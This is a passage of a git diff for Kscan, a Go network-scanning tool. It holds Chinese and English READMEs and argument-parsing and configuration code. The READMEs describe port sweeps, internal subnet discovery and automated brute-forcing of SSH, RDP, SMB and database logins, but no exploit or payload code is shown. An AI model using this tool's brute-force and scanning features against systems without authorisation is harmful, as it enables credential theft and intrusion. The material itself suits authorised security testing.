+ IP地址:114.114.114.114
+ IP地址段:114.114.114.114/24,不建议子网掩码小于12
+ IP地址段:114.114.114.114-115.115.115.115
+ URL地址:https://www.baidu.com
+ 文件地址:file:/tmp/target.txt
+ --spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
+ (空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
+ --check 针对目标地址做指纹识别,仅不会进行端口探测
+ --scan 将针对--fofa、--spy提供的目标对象,进行端口扫描和指纹识别
+ -p , --port 扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
+ -eP, --excluded-port 跳过扫描指定的端口,支持:80,8080,8088-8090
+ -o , --output 将扫描结果保存到文件
+ -oJ 将扫描结果使用json格式保存到文件
+ -Pn 使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
+ -Cn 使用此参数后,控制台输出结果将不会带颜色
+ -Dn 使用此参数后,将关闭CDN识别功能
+ -sV 使用此参数后,将对所有端口进行全探针探测,此参数极度影响效率,慎用!
+ --top 扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP400
+ --proxy 设置代理(socks5|socks4|https|http)://IP:Port
+ --threads 线程参数,默认线程100,最大值为2048
+ --path 指定请求访问的目录,只支持单个目录
+ --host 指定所有请求的头部Host值
+ --timeout 设置超时时间
+ --encoding 设置终端输出编码,可指定为:gb2312、utf-8
+ --match 对资产返回banner进行检索,存在关键字的,才会显示,否则不会显示
+ --hydra 自动化爆破支持协议:ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
+hydra options:
+ --hydra-user 自定义hydra爆破用户名:username or user1,user2 or file:username.txt
+ --hydra-pass 自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
+ 若密码中存在使用逗号的情况,则使用\,进行转义,其他符号无需转义
+ --hydra-update 自定义用户名、密码模式,若携带此参数,则为新增模式,会将用户名和密码补充在默认字典后面。否则将替换默认字典。
+ --hydra-mod 指定自动化暴力破解模块:rdp or rdp,ssh,smb
+fofa options:
+ --fofa-syntax 将获取fofa搜索语法说明
+ --fofa-size 将设置fofa返回条目数,默认100条
+ --fofa-fix-keyword 修饰keyword,该参数中的{}最终会替换成-f参数的值
+```
+
+功能不复杂,其他的自行探索
+
+## 6 演示
+
+### 6.1 端口扫描模式
+
+![WechatIMG986](assets/端口扫描演示.png)
+
+### 6.2 存活网段探测
+
+![WechatIMG988](assets/存活网段检测演示.jpg)
+
+### 6.3 Fofa结果检索
+
+![WechatIMG989](assets/Fofa结果检索演示.png)
+
+### 6.4 暴力破解
+
+![WechatIMG996](assets/Hydra功能演示.png)
+
+### 6.5 CDN识别
+
+![WechatIMG996](assets/CDN识别演示.jpg)
+
+[url-doczh]: README
+[url-docen]: README_ENG.md
diff --git a/README_ENG.md b/README_ENG.md
new file mode 100644
index 0000000..51703ad
--- /dev/null
+++ b/README_ENG.md
@@ -0,0 +1,177 @@
+# Kscan - Simple Asset Mapping Tool
+
+
+
+![GitHub Repo stars](https://img.shields.io/github/stars/lcvvvv/kscan?color=success)
+![GitHub forks](https://img.shields.io/github/forks/lcvvvv/kscan)
+![GitHub all release](https://img.shields.io/github/downloads/lcvvvv/kscan/total?color=blueviolet)
+
+[[中文 Readme]][url-doczh]
+|
+[[English Readme]][url-docen]
+
+## 0 Disclaimer (~~The author did not participate in the XX action, don't trace it~~)
+
+- This tool is only for legally authorized enterprise security construction behaviors and personal learning behaviors. If you need to test the usability of this tool, please build a target drone environment by yourself.
+
+- When using this tool for testing, you should ensure that the behavior complies with local laws and regulations and has obtained sufficient authorization. Do not scan unauthorized targets.
+
+We reserve the right to pursue your legal responsibility if the above prohibited behavior is found.
+
+If you have any illegal behavior in the process of using this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint responsibility.
+
+Before installing and using this tool, please be sure to carefully read and fully understand the terms and conditions.
+
+Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this Agreement in any other express or implied manner shall be deemed that you have read and agreed to be bound by this Agreement.
+
+## 1 Introduction
+
+```
+ _ __
+|#| /#/ Lightweight Asset Mapping Tool by: kv2
+|#|/#/ _____ _____ * _ _
+|#.#/ /Edge/ /Forum| /#\ |#\ |#|
+|##| |#|___ |#| /###\ |##\|#|
+|#.#\ \#####\|#| /#/_\#\ |#.#.#|
+|#|\#\ /\___|#||#|____/#/###\#\|#|\##|
+|#| \#\\#####/ \#####/#/ \#\#| \#|
+```
+
+Kscan is an asset mapping tool that can perform port scanning, TCP fingerprinting and banner capture for specified assets, and obtain as much port information as possible without sending more packets. It can perform automatic brute force cracking on scan results, and is the first open source RDP brute force cracking tool on the go platform.
+
+## 2 Foreword
+
+At present, there are actually many tools for asset scanning, fingerprint identification, and vulnerability detection, and there are many great tools, but Kscan actually has many different ideas.
+
+- Kscan hopes to accept a variety of input formats, and there is no need to classify the scanned objects before use, such as IP, or URL address, etc. This is undoubtedly an unnecessary workload for users, and all entries can be normal Input and identification. If it is a URL address, the path will be reserved for detection. If it is only IP:PORT, the port will be prioritized for protocol identification. Currently Kscan supports three input methods (-t,--target|-f,--fofa|--spy).
+
+- Kscan does not seek efficiency by comparing port numbers with common protocols to confirm port protocols, nor does it only detect WEB assets. In this regard, Kscan pays more attention to accuracy and comprehensiveness, and only high-accuracy protocol identification , in order to provide good detection conditions for subsequent application layer identification.
+
+- Kscan does not use a modular approach to do pure function stacking, such as a module obtains the title separately, a module obtains SMB information separately, etc., runs independently, and outputs independently, but outputs asset information in units of ports, such as ports If the protocol is HTTP, subsequent fingerprinting and title acquisition will be performed automatically. If the port protocol is RPC, it will try to obtain the host name, etc.
+
+![kscan logic diagram.drawio](assets/kscan逻辑图.drawio.png)
+
+## 3 Compilation Manual
+
+[Compiler Manual](https://github.com/lcvvvv/kscan/wiki/%E7%BC%96%E8%AF%91)
+
+## 4 Get started
+
+Kscan currently has 3 ways to input targets
+
+- -t/--target can add the --check parameter to fingerprint only the specified target port, otherwise the target will be port scanned and fingerprinted
+
+```
+IP address: 114.114.114.114
+IP address range: 114.114.114.114-115.115.115.115
+URL address: https://www.baidu.com
+File address: file:/tmp/target.txt
+```
+
+- --spy can add the --scan parameter to perform port scanning and fingerprinting on the surviving C segment, otherwise only the surviving network segment will be detected
+
+```
+[Empty]: will detect the IP address of the local machine and detect the B segment where the local IP is located
+[all]: All private network addresses (192.168/172.32/10, etc.) will be probed
+IP address: will detect the B segment where the specified IP address is located
+```
+
+
+- -f/--fofa can add --check to verify the survivability of the retrieval results, and add the --scan parameter to perform port scanning and fingerprint identification on the retrieval results, otherwise only the fofa retrieval results will be returned
+```
+fofa search keywords: will directly return fofa search results
+```
+
+## 5 Instructions
+
+```
+usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy) [-p,--port|--top] [-o,--output] [-oJ] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [-Cn] [-sV] [--check] [--encoding] [--hydra] [hydra options] [fofa options]
+
+
+optional arguments:
+ -h , --help show this help message and exit
+ -f , --fofa Get the detection object from fofa, you need to configure the environment variables in advance: FOFA_EMAIL, FOFA_KEY
+ -t , --target Specify the detection target:
+ IP address: 114.114.114.114
+ IP address segment: 114.114.114.114/24, subnet mask less than 12 is not recommended
+ IP address range: 114.114.114.114-115.115.115.115
+ URL address: https://www.baidu.com
+ File address: file:/tmp/target.txt
+ --spy network segment detection mode, in this mode, the internal network segment reachable by the host will be automatically detected. The acceptable parameters are:
+ (empty), 192, 10, 172, all, specified IP address (the IP address B segment will be detected as the surviving gateway)
+ --check Fingerprinting the target address, only port detection will not be performed
+ --scan will perform port scanning and fingerprinting on the target objects provided by --fofa and --spy
+ -p , --port scan the specified port, TOP400 will be scanned by default, support: 80, 8080, 8088-8090
+ -eP, --excluded-port skip scanning specified ports,support:80,8080,8088-8090
+ -o , --output save scan results to file
+ -oJ save the scan results to a file in json format
+ -Pn After using this parameter, intelligent survivability detection will not be performed. Now intelligent survivability detection is enabled by default to improve efficiency.
+ -Cn With this parameter, the console output will not be colored.
+ -sV After using this parameter, all ports will be probed with full probes. This parameter greatly affects the efficiency, so use it with caution!
+ --top Scan the filtered common ports TopX, up to 1000, the default is TOP400
+ --proxy set proxy (socks5|socks4|https|http)://IP:Port
+ --threads thread parameter, the default thread is 100, the maximum value is 2048
+ --path specifies the directory to request access, only a single directory is supported
+ --host specifies the header Host value for all requests
+ --timeout set timeout
+ --encoding Set the terminal output encoding, which can be specified as: gb2312, utf-8
+ --match returns the banner to the asset for retrieval. If there is a keyword, it will be displayed, otherwise it will not be displayed
+ --hydra automatic blasting support protocol: ssh, rdp, ftp, smb, mysql, mssql, oracle, postgresql, mongodb, redis, all are enabled by default
+hydra options:
+ --hydra-user custom hydra blasting username: username or user1,user2 or file:username.txt
+ --hydra-pass Custom hydra blasting password: password or pass1,pass2 or file:password.txt
+ If there is a comma in the password, use \, to escape, other symbols do not need to be escaped
+ --hydra-update Customize the user name and password mode. If this parameter is carried, it is a new mode, and the user name and password will be added to the default dictionary. Otherwise the default dictionary will be replaced.
+ --hydra-mod specifies the automatic brute force cracking module: rdp or rdp, ssh, smb
+fofa options:
+ --fofa-syntax will get fofa search syntax description
+ --fofa-size will set the number of entries returned by fofa, the default is 100
+ --fofa-fix-keyword Modifies the keyword, and the {} in this parameter will eventually be replaced with the value of the -f parameter
+```
+
+The function is not complicated, the others are explored by themselves
+
+## 6 Demo
+
+### 6.1 Port Scan Mode
+
+![WechatIMG986](assets/端口扫描演示.png)
+
+### 6.2 Survival network segment detection
+
+![WechatIMG988](assets/存活网段检测演示.jpg)
+
+### 6.3 Fofa result retrieval
+
+![WechatIMG989](assets/Fofa结果检索演示.png)
+
+### 6.4 Brute-force cracking
+
+![WechatIMG996](assets/Hydra功能演示.png)
+
+### 6.5 CDN identification
+
+![WechatIMG996](assets/CDN识别演示.jpg)
+
+## 7 Special thanks
+
+- [EdgeSecurityTeam](https://github.com/EdgeSecurityTeam)
+
+- [bufferfly](https://github.com/dr0op/bufferfly)
+
+- [EHole(Edge Hole)](https://github.com/EdgeSecurityTeam/EHole)
+
+- [NMAP](https://github.com/nmap/nmap/)
+
+- [grdp](https://github.com/tomatome/grdp/)
+
+- [fscan](https://github.com/shadow1ng/fscan)
+
+- [dismap](https://github.com/zhzyker/dismap)
+
+## 8 End of article
+
+Github project address (bugs, requirements, rules are welcome to submit): https://github.com/lcvvvv/kscan
+
+[url-doczh]: README
+[url-docen]: README_ENG.md
\ No newline at end of file
diff --git a/app/type-args.go b/app/type-args.go
new file mode 100644
index 0000000..a1dad33
--- /dev/null
+++ b/app/type-args.go
@@ -0,0 +1,217 @@
+package app
+
+import (
+ "KscanPro/lib/sflag"
+ "fmt"
+ "github.com/gookit/color"
+ "os"
+ "strings"
+)
+
+type args struct {
+ USAGE, HELP, LOGO, SYNTAX string
+
+ Help, Debug, ClosePing, Check, CloseColor, Scan bool
+ ScanVersion, DownloadQQwry, CloseCDN bool
+ Output, Proxy, Encoding string
+ Port, ExcludedPort []int
+ Path, Host, Target []string
+ OutputJson, OutputCSV string
+ Spy, Touch string
+ Top, Threads, Timeout int
+ //hydra模块
+ Hydra, HydraUpdate bool
+ HydraUser, HydraPass, HydraMod []string
+ //fofa模块
+ Fofa []string
+ FofaField, FofaFixKeyword string
+ FofaSize int
+ FofaSyntax bool
+ //输出修饰
+ Match, NotMatch string
+}
+
+var (
+ green = []*color.Style256{color.S256(46), color.S256(47), color.S256(48), color.S256(49), color.S256(50), color.S256(51)}
+ pink = []*color.Style256{color.S256(214), color.S256(215), color.S256(216), color.S256(217), color.S256(218), color.S256(219)}
+ yellow = []*color.Style256{color.S256(226), color.S256(227), color.S256(228), color.S256(229), color.S256(230), color.S256(231)}
+)
+
+var (
+ UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
+ Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
+ Cookie = ""
+ PocNum = 20
+ DnsLog = false
+ PocFull = false
+ Proxy = ""
+ WebTimeout = 5
+ Socks5Proxy = ""
+)
+
+type PocInfo struct {
+ Target string
+ PocName string
+}
+
+var Args = args{}
+
+// Parse 初始化参数
+func (o *args) Parse() {
+ //自定义Usage
+ sflag.SetUsage(o.LOGO)
+ //定义参数
+ o.define()
+ //实例化参数值
+ sflag.Parse()
+ //输出LOGO
+ o.printBanner()
+}
+
+// 定义参数
+func (o *args) define() {
+ sflag.BoolVar(&o.Help, "h", false)
+ sflag.BoolVar(&o.Help, "help", false)
+ sflag.BoolVar(&o.Debug, "debug", false)
+ sflag.BoolVar(&o.Debug, "d", false)
+ //spy模块
+ sflag.AutoVarString(&o.Spy, "spy", "None")
+ //hydra模块
+ sflag.BoolVar(&o.Hydra, "hydra", false)
+ sflag.BoolVar(&o.HydraUpdate, "hydra-update", false)
+ sflag.StringSpliceVar(&o.HydraUser, "hydra-user")
+ sflag.StringSpliceVar(&o.HydraPass, "hydra-pass")
+ sflag.StringSpliceVar(&o.HydraMod, "hydra-mod")
+ //fofa模块
+ sflag.StringSpliceVar(&o.Fofa, "fofa")
+ sflag.StringSpliceVar(&o.Fofa, "f")
+ sflag.StringVar(&o.FofaField, "fofa-field", "")
+ sflag.StringVar(&o.FofaFixKeyword, "fofa-fix-keyword", "")
+ sflag.IntVar(&o.FofaSize, "fofa-size", 100)
+ sflag.BoolVar(&o.FofaSyntax, "fofa-syntax", false)
+ sflag.BoolVar(&o.Scan, "scan", false)
+ //kscan模块
+ sflag.StringSpliceVar(&o.Target, "target")
+ sflag.StringSpliceVar(&o.Target, "t")
+ sflag.IntSpliceVar(&o.Port, "port")
+ sflag.IntSpliceVar(&o.Port, "p")
+ sflag.IntSpliceVar(&o.ExcludedPort, "eP")
+ sflag.IntSpliceVar(&o.ExcludedPort, "excluded-port")
+ sflag.StringSpliceVar(&o.Path, "path")
+ sflag.StringSpliceVar(&o.Host, "host")
+ sflag.StringVar(&o.Proxy, "proxy", "")
+ sflag.IntVar(&o.Top, "top", 400)
+ sflag.IntVar(&o.Threads, "threads", 800)
+ sflag.IntVar(&o.Timeout, "timeout", 3)
+ sflag.BoolVar(&o.ClosePing, "Pn", false)
+ sflag.BoolVar(&o.Check, "check", false)
+ sflag.BoolVar(&o.ScanVersion, "sV", false)
+ //CDN检测
+ sflag.BoolVar(&o.CloseCDN, "Dn", false)
+ sflag.BoolVar(&o.DownloadQQwry, "download-qqwry", false)
+
+ //输出模块
+ sflag.StringVar(&o.Encoding, "encoding", "utf-8")
+ sflag.StringVar(&o.Match, "match", "")
+ sflag.StringVar(&o.NotMatch, "not-match", "")
+ sflag.StringVar(&o.Output, "o", "")
+ sflag.StringVar(&o.Output, "output", "")
+ sflag.StringVar(&o.OutputJson, "oJ", "")
+ sflag.StringVar(&o.OutputCSV, "oC", "")
+ sflag.BoolVar(&o.CloseColor, "Cn", false)
+}
+
+func (o *args) SetLogo(logo string) {
+ o.LOGO = logo
+}
+
+func (o *args) SetUsage(usage string) {
+ o.USAGE = usage
+}
+
+func (o *args) SetSyntax(syntax string) {
+ o.SYNTAX = syntax
+}
+
+func (o *args) SetHelp(help string) {
+ o.HELP = help
+}
+
+// CheckArgs 校验参数真实性
+func (o *args) CheckArgs() {
+ //判断必须的参数是否存在
+ if len(o.Target) == 0 && len(o.Fofa) == 0 && o.Spy == "None" && o.DownloadQQwry == false {
+ fmt.Print("至少有--target、--fofa、--spy参数中的一个")
+ os.Exit(0)
+ }
+ //判断冲突参数
+ if len(o.Target) > 0 && len(o.Fofa) == 0 && o.Spy != "None" && o.Touch == "None" {
+ fmt.Print("--target、--fofa、--spy不能同时使用")
+ os.Exit(0)
+ }
+ if len(o.Port) > 0 && o.Top != 400 {
+ fmt.Print("--port、--top参数不能同时使用")
+ os.Exit(0)
+ }
+ //判断内容
+ if o.Top != 0 && (o.Top > 1000 || o.Top < 1) {
+ fmt.Print("TOP参数输入错误,TOP参数应为1-1000之间的整数。")
+ os.Exit(0)
+ }
+ if o.Proxy != "" && sflag.ProxyStrVerification(o.Proxy) {
+ fmt.Print("--proxy参数输入错误,其格式应为:http://ip:port,支持socks5/4")
+ }
+ if o.Threads != 0 && o.Threads > 2048 {
+ fmt.Print("--threads参数最大值为2048")
+ os.Exit(0)
+ }
+}
+
+// 输出LOGO
+func (o *args) printBanner() {
+ if len(os.Args) == 1 {
+ fmt.Println(gradient(o.LOGO, pink))
+ fmt.Print(o.USAGE)
+ os.Exit(0)
+ }
+ if o.Help {
+ fmt.Println(gradient(o.LOGO, pink))
+ fmt.Print(o.USAGE)
+ fmt.Print(o.HELP)
+ os.Exit(0)
+ }
+ if o.FofaSyntax {
+ fmt.Println(gradient(o.LOGO, pink))
+ fmt.Print(o.USAGE)
+ fmt.Print(o.SYNTAX)
+ os.Exit(0)
+ }
+ //打印logo
+ fmt.Println(gradient(o.LOGO, pink))
+}
+
+func gradient(text string, coloRR []*color.Style256) string {
+ lines := strings.Split(text, "\n")
+
+ var output string
+
+ t := len(text) / 6
+ i := 0
+ j := 0
+ for l := 0; l < len(lines); l++ {
+ str := strings.Split(lines[l], "")
+ for _, x := range str {
+ j++
+ output += coloRR[i].Sprint(x)
+ if j > t {
+ i++
+ j = 0
+ }
+ }
+ if len(lines) != 0 {
+ output += "\n"
+ }
+ }
+
+ return strings.TrimRight(output, "\n")
+}
diff --git a/app/type-config.go b/app/type-config.go
new file mode 100644
index 0000000..622b1f3
--- /dev/null
+++ b/app/type-config.go
@@ -0,0 +1,312 @@
+package app
+
+import (
+ "KscanPro/core/hydra"
+ "KscanPro/core/slog"
+ "KscanPro/lib/misc"
+ "encoding/csv"
+ "os"
+ "strings"
+ "sync"
+ "time"
+)
+
+type Config struct {
+ Target []string
+ Port []int
+ Output *os.File
+ Proxy, Encoding string
+ Path, Host []string
+ OutputJson *JSONWriter
+ OutputCSV *CSVWriter
+ Threads int
+ Timeout time.Duration
+ ClosePing, Check, CloseColor bool
+ ScanVersion bool
+ Spy string
+ //hydra
+ Hydra, HydraUpdate bool
+ HydraPass, HydraUser, HydraMod []string
+ //exploit
+ Exploit bool
+ //fofa
+ Fofa []string
+ FofaFixKeyword string
+ FofaSize int
+ Scan bool
+ //CDN检测模块
+ DownloadQQwry bool
+ CloseCDN bool
+ //输出修饰
+ Match string
+ NotMatch string
+}
+
+var Setting = New()
+
+func ConfigInit() {
+ args := Args
+ Setting.Spy = args.Spy
+ if args.Spy == "None" {
+ Setting.Target = args.Target
+ }
+ Setting.loadPort()
+ Setting.loadExcludedPort()
+ Setting.loadOutput()
+ Setting.loadScanPing()
+ Setting.Timeout = time.Duration(args.Timeout) * time.Second
+ Setting.Check = args.Check
+ if Setting.Check == true {
+ Setting.Port = []int{}
+ }
+ Setting.Path = args.Path
+ Setting.Proxy = args.Proxy
+ Setting.Host = args.Host
+ Setting.Threads = args.Threads
+ Setting.Encoding = args.Encoding
+ Setting.OutputJson = loadOutputJSON(args.OutputJson)
+ Setting.OutputCSV = loadOutputCSV(args.OutputCSV)
+ Setting.ScanVersion = args.ScanVersion
+ //Setting.CloseColor = args.CloseColor
+ //hydra模块
+ Setting.Hydra = args.Hydra
+ Setting.HydraUpdate = args.HydraUpdate
+ Setting.HydraUser = args.HydraUser
+ Setting.HydraPass = args.HydraPass
+ Setting.loadHydraMod(args.HydraMod)
+ //fofa模块
+ Setting.Fofa = args.Fofa
+ Setting.FofaSize = args.FofaSize
+ Setting.FofaFixKeyword = args.FofaFixKeyword
+ Setting.Scan = args.Scan
+ //CDN检测模块
+ Setting.DownloadQQwry = args.DownloadQQwry
+ Setting.CloseCDN = args.CloseCDN
+ //输出修饰
+ Setting.Match = args.Match
+ Setting.NotMatch = args.NotMatch
+}
+
+func loadOutputJSON(path string) *JSONWriter {
+ if path == "" {
+ return nil
+ }
+ if _, err := os.Stat(path); err == nil || os.IsExist(err) {
+ slog.Println(slog.WARN, "检测到JSON输出文件已存在,将自动删除该文件:", path)
+ if err := os.Remove(path); err != nil {
+ slog.Println(slog.ERROR, "删除文件失败,请检查:", err)
+ }
+ }
+ f, err := os.OpenFile(path, os.O_CREATE+os.O_RDWR, 0764)
+ if err != nil {
+ slog.Println(slog.ERROR, err)
+ }
+ jw := &JSONWriter{f, &sync.Mutex{}}
+ jw.f.Seek(0, 0)
+ _, err = jw.f.WriteString(`[]`)
+ if err != nil {
+ slog.Println(slog.ERROR, err)
+ }
+ return &JSONWriter{f, &sync.Mutex{}}
+}
+
+func loadOutputCSV(path string) *CSVWriter {
+ if path == "" {
+ return nil
+ }
+
+ if _, err := os.Stat(path); err == nil || os.IsExist(err) {
+ slog.Println(slog.WARN, "检测到CSV输出文件已存在,将自动删除该文件:", path)
+ if err := os.Remove(path); err != nil {
+ slog.Println(slog.ERROR, "删除文件失败,请检查:", err)
+ }
+ }
+
+ f, err := os.OpenFile(path, os.O_CREATE+os.O_RDWR, 0764)
+ if err != nil {
+ slog.Println(slog.ERROR, err)
+ }
+ f.WriteString("\xEF\xBB\xBF") // 写入UTF-8 BOM
+ w := csv.NewWriter(f)
+ writer := &CSVWriter{w, []string{
+ "URL", "Keyword", "IP", "Port", "Service", "Length",
+ "FingerPrint", "Addr",
+ "Digest", "Info", "Hostname", "OperatingSystem",
+ "DeviceType", "ProductName", "Version",
+ "FoundDomain", "FoundIP", "ICP",
+ "ProbeName", "MatchRegexString",
+ //"Header", "Cert", "Response", "Body",
+ }}
+ writer.f.Write(writer.title)
+ writer.f.Flush()
+ return writer
+}
+
+func (c *Config) loadPort() {
+ if len(Args.Port) > 0 {
+ c.Port = append(c.Port, Args.Port...)
+ }
+ if Args.Top != 400 {
+ c.Port = append(c.Port, TOP_1000[:Args.Top]...)
+ }
+ if len(c.Port) == 0 {
+ c.Port = TOP_1000[:400]
+ }
+
+ c.Port = misc.RemoveDuplicateElement(c.Port)
+}
+
+func (c *Config) loadExcludedPort() {
+ if len(Args.ExcludedPort) == 0 {
+ return
+ }
+
+ var availablePort = misc.CopySlice(c.Port)
+ var ignoredPort []int
+
+ for i, p := range c.Port {
+ for _, ep := range Args.ExcludedPort {
+ if p == ep {
+ var l = len(ignoredPort)
+ availablePort = append(availablePort[:i-l], availablePort[i-l+1:]...)
+ ignoredPort = append(ignoredPort, p)
+ break
+ }
+ }
+ }
+ c.Port = availablePort
+ slog.Println(slog.WARN, "本次扫描用户屏蔽的端口:", ignoredPort)
+}
+
+func (c *Config) loadOutput() {
+ expr := Args.Output
+ if expr == "" {
+ return
+ }
+ f, err := os.OpenFile(expr, os.O_CREATE+os.O_RDWR, 0764)
+ if err != nil {
+ slog.Println(slog.ERROR, err.Error())
+ } else {
+ c.Output = f
+ }
+}
+
+func (c *Config) loadScanPing() {
+ if len(c.Port) < 10 {
+ c.ClosePing = true
+ slog.Println(slog.INFO, "由于扫描端口数量小于10,已自动关闭主机存活性检测功能")
+ } else {
+ c.ClosePing = Args.ClosePing
+ }
+}
+
+func (c *Config) loadHydraMod(splice []string) {
+ if len(splice) == 0 {
+ c.HydraMod = hydra.ProtocolList
+ return
+ }
+ if splice[0] == "all" {
+ c.HydraMod = hydra.ProtocolList
+ return
+ }
+ c.HydraMod = splice
+}
+
+func (c *Config) loadFofaField(expr string) []string {
+ //判断对象是否为多个
+ if strArr := strings.ReplaceAll(expr, "\\,", "[DouHao]"); strings.Count(strArr, ",") > 0 {
+ var passArr []string
+ for _, str := range strings.Split(strArr, ",") {
+ passArr = append(passArr, strings.ReplaceAll(str, "[DouHao]", ","))
+ }
+ return passArr
+ }
+ //对象为单个且不为空时直接返回
+ if expr != "" {
+ return []string{expr}
+ }
+ return []string{}
+}
+
+func New() Config {
+ return Config{
+ Target: []string{},
+ Path: []string{"/"},
+ Port: []int{},
+ Output: nil,
+ Proxy: "",
+ Host: []string{},
+ Threads: 800,
+ Timeout: 0,
+ Encoding: "utf-8",
+ }
+}
+
+var TOP_1000 = []int{21, 22, 23, 25, 53, 69, 80, 81, 88, 89, 110, 135, 161, 445, 139, 137,
+ 143, 389, 443, 512, 513, 514, 548, 873, 1433, 1521, 2181, 3306, 3389, 3690, 4848, 5000,
+ 5001, 5432, 5632, 5900, 5901, 5902, 6379, 7000, 7001, 7002, 8000, 8001, 8007, 8008, 8009,
+ 8069, 8080, 8081, 8088, 8089, 8090, 8091, 9060, 9090, 9091, 9200, 9300, 10000, 11211, 27017,
+ 27018, 50000, 1080, 888, 1158, 2100, 2424, 2601, 2604, 3128, 5984, 7080, 8010, 8082, 8083,
+ 8084, 8085, 8086, 8087, 8222, 8443, 8686, 8888, 9000, 9001, 9002, 9003, 9004, 9005, 9006,
+ 9007, 9008, 9009, 9010, 9043, 9080, 9081, 9418, 9999, 50030, 50060, 50070, 82, 83, 84,
+ 85, 86, 87, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7070, 7071, 7072, 7073,
+ 7074, 7075, 7076, 7077, 7078, 7079, 8002, 8003, 8004, 8005, 8006, 8200, 90, 801, 8011,
+ 8100, 8012, 8070, 99, 7777, 8028, 808, 38888, 8181, 800, 18080, 8099, 8899, 8360, 8300,
+ 8800, 8180, 3505, 8053, 1000, 8989, 28017, 49166, 3000, 41516, 880, 8484, 6677, 8016, 7200,
+ 9085, 5555, 8280, 1980, 8161, 7890, 8060, 6080, 8880, 8020, 889, 8881, 38501, 1010, 93,
+ 6666, 100, 6789, 7060, 8018, 8022, 3050, 8787, 2000, 10001, 8013, 6888, 8040, 10021, 2011,
+ 6006, 4000, 8055, 4430, 1723, 6060, 7788, 8066, 9898, 6001, 8801, 10040, 9998, 803, 6688,
+ 10080, 8050, 7011, 40310, 18090, 802, 10003, 8014, 2080, 7288, 8044, 9992, 8889, 5644, 8886,
+ 9500, 58031, 9020, 8015, 8887, 8021, 8700, 91, 9900, 9191, 3312, 8186, 8735, 8380, 1234,
+ 38080, 9088, 9988, 2110, 21245, 3333, 2046, 9061, 2375, 9011, 8061, 8093, 9876, 8030, 8282,
+ 60465, 2222, 98, 1100, 18081, 70, 8383, 5155, 92, 8188, 2517, 8062, 11324, 2008, 9231,
+ 999, 28214, 16080, 8092, 8987, 8038, 809, 2010, 8983, 7700, 3535, 7921, 9093, 11080, 6778,
+ 805, 9083, 8073, 10002, 114, 2012, 701, 8810, 8400, 9099, 8098, 8808, 20000, 8065, 8822,
+ 15000, 9901, 11158, 1107, 28099, 12345, 2006, 9527, 51106, 688, 25006, 8045, 8023, 8029, 9997,
+ 7048, 8580, 8585, 2001, 8035, 10088, 20022, 4001, 2013, 20808, 8095, 106, 3580, 7742, 8119,
+ 6868, 32766, 50075, 7272, 3380, 3220, 7801, 5256, 5255, 10086, 1300, 5200, 8096, 6198, 6889,
+ 3503, 6088, 9991, 806, 5050, 8183, 8688, 1001, 58080, 1182, 9025, 8112, 7776, 7321, 235,
+ 8077, 8500, 11347, 7081, 8877, 8480, 9182, 58000, 8026, 11001, 10089, 5888, 8196, 8078, 9995,
+ 2014, 5656, 8019, 5003, 8481, 6002, 9889, 9015, 8866, 8182, 8057, 8399, 10010, 8308, 511,
+ 12881, 4016, 8042, 1039, 28080, 5678, 7500, 8051, 18801, 15018, 15888, 38443, 8123, 8144, 94,
+ 9070, 1800, 9112, 8990, 3456, 2051, 9098, 444, 9131, 97, 7100, 7711, 7180, 11000, 8037,
+ 6988, 122, 8885, 14007, 8184, 7012, 8079, 9888, 9301, 59999, 49705, 1979, 8900, 5080, 5013,
+ 1550, 8844, 4850, 206, 5156, 8813, 3030, 1790, 8802, 9012, 5544, 3721, 8980, 10009, 8043,
+ 8390, 7943, 8381, 8056, 7111, 1500, 7088, 5881, 9437, 5655, 8102, 6000, 65486, 4443, 10025,
+ 8024, 8333, 8666, 103, 8, 9666, 8999, 9111, 8071, 9092, 522, 11381, 20806, 8041, 1085,
+ 8864, 7900, 1700, 8036, 8032, 8033, 8111, 60022, 955, 3080, 8788, 7443, 8192, 6969, 9909,
+ 5002, 9990, 188, 8910, 9022, 10004, 866, 8582, 4300, 9101, 6879, 8891, 4567, 4440, 10051,
+ 10068, 50080, 8341, 30001, 6890, 8168, 8955, 16788, 8190, 18060, 7041, 42424, 8848, 15693, 2521,
+ 19010, 18103, 6010, 8898, 9910, 9190, 9082, 8260, 8445, 1680, 8890, 8649, 30082, 3013, 30000,
+ 2480, 7202, 9704, 5233, 8991, 11366, 7888, 8780, 7129, 6600, 9443, 47088, 7791, 18888, 50045,
+ 15672, 9089, 2585, 60, 9494, 31945, 2060, 8610, 8860, 58060, 6118, 2348, 8097, 38000, 18880,
+ 13382, 6611, 8064, 7101, 5081, 7380, 7942, 10016, 8027, 2093, 403, 9014, 8133, 6886, 95,
+ 8058, 9201, 6443, 5966, 27000, 7017, 6680, 8401, 9036, 8988, 8806, 6180, 421, 423, 57880,
+ 7778, 18881, 812, 15004, 9110, 8213, 8868, 1213, 8193, 8956, 1108, 778, 65000, 7020, 1122,
+ 9031, 17000, 8039, 8600, 50090, 1863, 8191, 65, 6587, 8136, 9507, 132, 200, 2070, 308,
+ 5811, 3465, 8680, 7999, 7084, 18082, 3938, 18001, 9595, 442, 4433, 7171, 9084, 7567, 811,
+ 1128, 6003, 2125, 6090, 10007, 7022, 1949, 6565, 65001, 1301, 19244, 10087, 8025, 5098, 21080,
+ 1200, 15801, 1005, 22343, 7086, 8601, 6259, 7102, 10333, 211, 10082, 18085, 180, 40000, 7021,
+ 7702, 66, 38086, 666, 6603, 1212, 65493, 96, 9053, 7031, 23454, 30088, 6226, 8660, 6170,
